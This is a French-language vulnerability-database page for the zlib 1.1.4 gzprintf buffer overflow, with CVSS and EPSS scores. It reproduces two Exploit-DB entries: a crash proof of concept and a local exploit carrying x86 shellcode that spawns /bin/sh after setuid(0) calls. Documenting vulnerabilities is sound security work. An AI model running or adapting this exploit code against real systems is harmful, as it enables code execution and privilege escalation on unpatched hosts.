CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Buffer overflow in the gzprintf function in zlib 1.1.4, when zlib is compiled without vsnprintf or when long inputs are truncated using vsnprintf, allows attackers to cause a denial of service or possibly execute arbitrary code.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
27.07%
–
–
2022-04-03
–
–
27.07%
–
–
2023-03-12
–
–
–
3.25%
–
2023-08-13
–
–
–
4.09%
–
2024-02-11
–
–
–
4.09%
–
2024-03-10
–
–
–
7.48%
–
2024-06-02
–
–
–
7.48%
–
2024-12-22
–
–
–
14.29%
–
2025-02-16
–
–
–
12.26%
–
2025-03-02
–
–
–
12.26%
–
2025-01-19
–
–
–
14.29%
–
2025-02-16
–
–
–
12.26%
–
2025-03-09
–
–
–
12.26%
–
2025-03-18
–
–
–
–
19.98%
2025-03-30
–
–
–
–
24.96%
2025-04-08
–
–
–
–
23.1%
2025-04-15
–
–
–
–
23.1%
2025-04-15
–
–
–
–
23.1,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2003-02-22 23h00 +00:00 Auteur : Richard Kettlewel EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/6913/info
A buffer-overrun vulnerability has been reported in the Zlib compression library. Due to the use of 'vsprintf()' by an internal Zlib function, an attacker can cause memory to become corrupted. This buffer overrun occurs becuase the software fails to check the boundaries of user-supplied data given to the 'gzprintf()' function.
Successful exploitation of this vulnerability may allow an attacker to execute arbitrary instructions.
Note that only Zlib 1.1.4 has been reported vulnerable to this issue. It is not yet known whether earlier versions are also affected.
#include <zlib.h>
#include <errno.h>
#include <stdio.h>
int main(void) {
gzFile f;
int ret;
if(!(f = gzopen("/dev/null", "w"))) {
perror("/dev/null");
exit(1);
}
ret = gzprintf(f, "%10240s", "");
printf("gzprintf -> %d\n", ret);
ret = gzclose(f);
printf("gzclose -> %d [%d]\n", ret, errno);
exit(0);
}
Date de publication : 2003-02-22 23h00 +00:00 Auteur : CrZ EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/6913/info
A buffer-overrun vulnerability has been reported in the Zlib compression library. Due to the use of 'vsprintf()' by an internal Zlib function, an attacker can cause memory to become corrupted. This buffer overrun occurs becuase the software fails to check the boundaries of user-supplied data given to the 'gzprintf()' function.
Successful exploitation of this vulnerability may allow an attacker to execute arbitrary instructions.
Note that only Zlib 1.1.4 has been reported vulnerable to this issue. It is not yet known whether earlier versions are also affected.
C local exploit for zlib <= 1.1.4
/ just for fun..not for root :)
\
/ Usage: gcc -o zlib zlib.c -lz
\
/ by CrZ [crazy_einstein@yahoo.com] lbyte
[lbyte.void.ru]
*/
#include <zlib.h>
#include <errno.h>
#include <stdio.h>
int main(int argc, char **argv) {
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";
gzFile f;
int ret;
long xret;
char cret[10];
char badbuff[10000];
int i;
sprintf(badbuff,"%p",shell);
sscanf(badbuff,"0x%x",&xret);
printf("[>] exploiting...\n");
if(!(f = gzopen("/dev/null", "w"))) {
perror("/dev/null");
exit(1);
}
printf("[>] xret = 0x%x\n",xret);
sprintf(cret,"%c%c%c%c",(xret&0xff)+4,(xret>>8)&0xff,
(xret>>16)&0xff,(xret>>24)&0xff);
bzero(badbuff,sizeof(badbuff));
for(i=0;i<5000;i+=4) strcat(badbuff,cret);
setuid(0);
setgid(0);
ret = gzprintf(stderr, "%s", badbuff );
setuid(0);
setgid(0);
printf(">Sent!..\n");
printf("gzprintf -> %d\n", ret);
ret = gzclose(f);
printf("gzclose -> %d [%d]\n", ret, errno);
exit(0);
}